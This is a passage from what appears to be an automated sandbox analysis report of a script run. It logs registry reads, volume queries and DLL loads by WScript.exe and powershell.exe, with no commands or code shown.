"QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")2e:T14ed,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007432-00000C17-1277604778 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007432-00000C17-1277927641 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007432-00000C17-1278532606 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007432-00000C17-1278996693 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007432-00000C17-1280210063 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007432-00000C17-1281113633 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007432-00000C17-1281205785 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007432-00000C17-1281249853 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00006400-00000C17-1293722194 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00006400-00000C17-1293951444 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006400-00000C17-1295831460 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00006400-00000C17-1296120557 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00006400-00000C17-1296262139 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00006400-00000C17-1296315270 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006400-00000C17-1296371364 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006400-00000C17-1296383506 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006400-00000C17-1296383736 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00006400-00000C17-1297243926 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006400-00000C17-1297275249 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006400-00000C17-1297283678 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006400-00000C17-1297283919 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006400-00000C17-1298184361 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006400-00000C17-1299606492 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006400-00000C17-1300133333 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006400-00000C17-13002850272f:T4ed,"WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")30:T663a,"WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006820) "WScript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006820) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\\wminet_utils.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter sxs.dll (UID: 00000000-00007432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter 